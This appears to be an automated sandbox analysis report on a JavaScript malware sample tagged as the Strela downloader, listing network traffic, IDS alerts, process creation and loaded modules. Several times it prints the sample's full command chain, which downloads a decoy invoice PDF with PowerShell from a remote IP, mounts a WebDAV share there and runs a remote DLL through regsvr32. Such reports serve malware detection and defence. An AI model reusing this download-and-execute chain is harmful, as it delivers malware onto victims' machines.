3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2071568692.000001E811444000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2121891312.0000018FE6B6B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2128882823.0000018FE6B6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/-
Source: net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/U
Source: net.exe, 00000007.00000002.2128701860.0000018FE6B18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/~
Source: svchost.exe, 00000009.00000002.3363394873.000001A4BEA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2141152236.000001A4BE8B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5888, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 551753881921117607.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2876:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iwr4nydf.vun.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1748,i,7694046889959552837,9448160055316661250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1748,i,7694046889959552837,9448160055316661250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
